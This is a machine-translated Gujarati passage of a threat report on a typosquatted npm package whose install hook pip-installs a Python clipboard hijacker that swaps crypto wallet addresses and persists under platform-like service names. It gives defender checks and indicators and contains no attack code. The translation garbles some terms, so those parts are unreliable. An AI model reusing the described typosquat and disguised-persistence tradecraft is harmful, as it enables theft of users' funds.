પ્રેરણા, પેલોડ વર્તણૂક પર આધારિત: તકવાદી ક્લિપબોર્ડ અવેજી દ્વારા શુદ્ધ મુદ્રીકરણ. કોઈ ઓળખપત્ર લણણી નથી, કોઈ હોસ્ટ ફિંગરપ્રિન્ટિંગ નથી, કોઈ પર્યાવરણ-ચલ વાંચન નથી. ઓપરેટરને કોઈ પરવા નથી કે પીડિત કોણ છે - તેઓ કાળજી રાખે છે કે પીડિતનું આગામી ટ્રાન્સફર સૂચિબદ્ધ સરનામાંઓમાંથી એક પર થાય છે. ચાલીસ-ચેઇન કવરેજ એ ક્રિયામાં લોટરી મોડેલ છે: કાસ્ટ વાઇડ, આશા છે કે એક જ ઉચ્ચ-મૂલ્ય પેસ્ટ N ઇન્સ્ટોલ દીઠ એકવાર ઉતરશે.
ઓપરેટર ટેકડાઉનથી બેચેન લાગે છે. એક જ સ્કોપ હેઠળ બે કલાકની અંદર નવ વર્ઝન પ્રકાશિત કરવું એ પબ્લિશ-એન્ડ-બર્ન હેન્ડલ જેવું લાગે છે: ટેકડાઉન લેટન્સી પકડે તે પહેલાં રજિસ્ટ્રી ફૂટપ્રિન્ટને મહત્તમ કરો, પછી આગળ વધો. અમે અવલોકન કર્યું નથી. @જાગલ લખતી વખતે નવા સ્કોપ હેઠળ પુનઃપ્રકાશન, પરંતુ અમે સમાન સ્કોપની અપેક્ષા રાખીશું (@જગી, @જગલ-, @જોગલ) જો ઓપરેટર હજુ પણ સક્રિય હોય તો આગામી દિવસોમાં દેખાશે.
અસર, વલણો અને ડિફેન્ડર્સે શું કરવું જોઈએ
અસર
વર્તમાન ડેટાસેટથી વાસ્તવિક નાણાંમાં અસરનું પ્રમાણ નક્કી કરવું શક્ય નથી. ક્લિપર કોઈ ટેલિમેટ્રી લખતું નથી અને વિશ્લેષણ કટઓફ મુજબ વોલેટ્સને હજુ સુધી અવેજી ટ્રાન્સફર પ્રાપ્ત થતા જોવા મળ્યા નથી (સૂચિબદ્ધ સાંકળોનો ફોલો-અપ સ્વીપ અમારી સૂચિમાં છે). કાયદેસર npm:@juggle/રીસાઇઝ-ઓબ્ઝર્વર સાત-આંકડાના સાપ્તાહિક ડાઉનલોડ્સમાં સરેરાશ સારી છે - એક ઉચ્ચ-ટ્રાફિક ટાઇપોસ્ક્વોટ લક્ષ્ય - અને દૂષિત પેકેજ જાહેરાત સમયે 24 કલાકથી ઓછા સમય માટે લાઇવ હતું, જે ખુલ્લા વસ્તીને મર્યાદિત કરે છે પરંતુ તેને શૂન્ય કરતું નથી.
બ્લાસ્ટ રેડિયસ ટ્રેક કરવા યોગ્ય છે તે સીધા ડાઉનલોડ્સ નથી @jaggle/resizeobserves — તે કદાચ નાના હશે. તે **ટ્રાન્ઝિટિવ ઇન્સ્ટોલ** છે: એક ડેવલપર જે સેન્ડબોક્સ પ્રોજેક્ટમાં પેકેજ ઉમેરી રહ્યો છે, ચાલી રહ્યો છે npm સ્થાપિત કરો, અને પછી ભૂલી ગયા છો કે ઇન્સ્ટોલ હૂક ક્યારેય ચાલ્યો હતો. પોસ્ટઇન્સ્ટોલ પર પ્રક્રિયા કરનાર દરેક મશીનમાં હવે ઓટો-સ્ટાર્ટ પર પ્રતિ-વપરાશકર્તા ક્લિપબોર્ડ હાઇજેકર હોય છે, પછી ભલે પ્રોજેક્ટ હજુ પણ ડિસ્ક પર હોય કે નહીં. માંથી પેકેજ ડિરેક્ટરી દૂર કરી રહ્યા છીએ નોડ_મોડ્યુલ્સ દ્રઢતા દૂર કરતું નથી.
ઉભરતા દાખલાઓ
આ ઝુંબેશ બે વલણોનું ઉદાહરણ આપે છે.
npm ને પાયથોન-પેલોડ ડિલિવરી રેપર તરીકે. npm ટારબોલ એ 4-લાઇન ઇન્સ્ટોલર છે; વાસ્તવિક સ્ટીલર પાયથોન છે, જે સિસ્ટમ-વ્યાપી દ્વારા ઇન્સ્ટોલ કરેલું છે ફળનું નાનું બીજ બંડલ્ડ ડિરેક્ટરીમાંથી. આ નવું નથી - આપણે પહેલા npm પેકેજો દ્વારા Python ને ડ્રોપ કરતા જોયા છે - પરંતુ તે ક્રિપ્ટો-ક્લિપર ઝુંબેશોમાં એક સામાન્ય સ્વરૂપ બની રહ્યું છે. ઓપરેટરને બેવડો ફાયદો છે: Python ક્લિપબોર્ડ લાઇબ્રેરીઓ (પાયપરક્લિપ તેમાંથી પ્રથમ) જાવાસ્ક્રિપ્ટ સમકક્ષો કરતાં વધુ સ્વચ્છ અને વધુ ક્રોસ-પ્લેટફોર્મ છે, અને મોટાભાગના ઓટોમેટેડ npm સ્કેનર્સ JavaScript ફાઇલોનું વજન વધારે કરે છે અને Python .પી હળવાશથી ગૂંથાય છે. કિંમત એ છે કે ઇન્સ્ટોલ ફૂટપ્રિન્ટ ખૂબ જ જોરથી છે - એક તાજું પાઇપ ઇન્સ્ટોલ કરો ડેવલપર મશીન પર છુપાવવું મુશ્કેલ છે જે સામાન્ય રીતે નથી કરતું પાઇપ ઇન્સ્ટોલ કરો દરમિયાન npm સ્થાપિત કરો.
પ્લેટફોર્મ-મૂળ નામો એકમાત્ર ગુપ્તચર પદ્ધતિ છે. તાજેતરના કેટલાક ક્લિપર્સ અને નાના-પેલોડ ચોરી કરનારાઓએ કોડ-લેવલના અસ્પષ્ટતાને સંપૂર્ણપણે છોડીને કાયદેસર દેખાતા પર્સિસ્ટન્સ લેબલ્સની તરફેણ કરી છે. પાયથોન3-ડીબસ-હેલ્પર, કોમ.એપલ.પાયથોન.રનટાઇમ, અને પાયરન્ટાઈમબ્રોકર આ પાઠ્યપુસ્તકના ઉદાહરણો છે - નામો જે ડિફેન્ડરની નજર ચાલીસ વપરાશકર્તા સેવાઓની સૂચિમાંથી બહાર નીકળી જશે. આ એક સસ્તું, ટકાઉ સ્વરૂપ છે જે ચોરીછૂપીથી દૂર કરવામાં આવે છે: દરેક પેકેજ માટે દૂર કરવામાં આવે છે, પરંતુ પર્સિસ્ટન્સ ફાઇલો દૂર થયા પછી પણ ટકી રહે છે, અને વાસ્તવિક દેખાતા પ્લેટફોર્મ ઘટકના નામ પરથી નામ આપવામાં આવેલી સેવા સ્પષ્ટ ઓડિટ સિવાય કંઈપણ દ્વારા સાફ કરવામાં આવશે નહીં.
ડિફેન્ડર્સે શું કરવું જોઈએ
- ઓડિટ ~/.config/systemd/user/, ~/Library/LaunchAgents/, અને Get-ScheduledTask આઉટપુટ IOC માં સૂચિબદ્ધ એન્ટ્રીઓ માટે ડેવલપર મશીનો પર. npm પેકેજ દૂર કરવાથી આ જગ્યાએ રહે છે; તેમને હાથથી દૂર કરવાની જરૂર છે.
- સૂચિબદ્ધ વોલેટ સરનામાં પર ટ્રાન્સફર બ્લોક કરો કોર્પોરેટ-ટ્રેઝરી અને ડીફાઇ-વોલેટ સીમાઓ પર જ્યાં એડ્રેસ-અલાવલિસ્ટિંગ ઉપલબ્ધ છે.
- ~/.config/clipboard-guardian/config.json ની શોધ કરો (અને પ્લેટફોર્મ સમકક્ષ) ડેવલપર-મશીન ફ્લીટમાં. ફાઇલની હાજરી એ ઉચ્ચ-વિશ્વાસ ચેપ છે, પછી ભલે તે કયા પેકેજ સંસ્કરણ દ્વારા વિતરિત કરવામાં આવી હોય.
- clipboard_guardian/guardian.py માટે node_modules/ શોધો. બિલ્ડ-કેશ સ્નેપશોટમાં જે દૂર કરવાના સમય પહેલાના હોઈ શકે છે. ફાઇલનું md5 બધા સમીક્ષા કરેલા સંસ્કરણોમાં સ્થિર છે.
- લોકફાઇલ-પિન @juggle/resize-observer (કાયદેસર પેકેજ) જેથી ભવિષ્યના ઇન્સ્ટોલેશન એક-અક્ષર ખોટી ટાઇપ હેઠળ અન્ય કંઈપણમાં ઉકેલાઈ ન શકે, ખાસ કરીને લોકફાઇલ-લેસ વર્કફ્લો જેવા કે એનપીએક્સ.
- કોઈપણ npm પોસ્ટઇન્સ્ટોલને પિપ ઇન્સ્ટોલનો ઉપયોગ કરીને સારવાર કરો ઉચ્ચ-ગંભીરતા તરીકે બિલ્ડમાં-pipeline નીતિ. npm પેકેજને ઇન્સ્ટોલ સમયે pip ની જરૂર હોય તેનું કોઈ કાયદેસર કારણ નથી — Python ટૂલિંગ Python ટૂલિંગનું વિતરણ કરે છે.
- પાયપરક્લિપ આયાત કરતી python3-dbus-helper નામની પ્રક્રિયાઓ માટે process_iter() - તુલનાત્મક મોનિટરિંગ ડેટા શોધો. — ડિસ્ક્વીઝ મિસમેચ (ક્લિપબોર્ડ લાઇબ્રેરી ધરાવતો D-Bus હેલ્પર) એ આપણી પાસે સૌથી સ્વચ્છ વર્તણૂકીય સૂચક છે.
- ચેપગ્રસ્ત મશીનોમાંથી પેસ્ટ કરેલા વોલેટ સરનામાં ફેરવો. ક્લિપબોર્ડ હાઇજેકર વોલેટ UI અને પેસ્ટ ટાર્ગેટ વચ્ચેના પાથ સાથે ચેડા કરે છે; ચેપગ્રસ્ત હોય ત્યારે કોપી કરેલા સરનામાંઓ શાંતિથી બદલી શકાય છે. ચેપ વિંડો દરમિયાન મોકલવામાં આવેલી કોઈપણ વસ્તુને સંભવિત રીતે ખોટી રીતે દિશામાન કરવામાં આવી હોય તેવું માનવું જોઈએ.
ઉપાય: દ્રઢતા ટેકડાઉન કરતાં વધુ જીવે છે. રજિસ્ટ્રી આખરે દૂર થઈ જશે @jaggle/resizeobserves બધા નવ વર્ઝનમાં; systemd યુનિટ, LaunchAgent અને Scheduled Task પોતાને દૂર કરશે નહીં.
સંદર્ભ
- npm પર @juggle/resize-observer — આ ટાઇપોસ્ક્વેટ જે કાયદેસર પેકેજ રજૂ કરે છે; બાઇટ-ફોર-બાઇટ README સાહિત્યચોરી માટે બેઝલાઇન તરીકે ઉપયોગી.
- @jaggle/resize રજિસ્ટ્રી મેટાડેટાનું નિરીક્ષણ કરે છે — ફોરેન્સિક ટાઇમલાઇનિંગ માટે ઉપયોગી, નવ દૂષિત સંસ્કરણો માટે ટાઇમસ્ટેમ્પ પ્રકાશિત કરો.




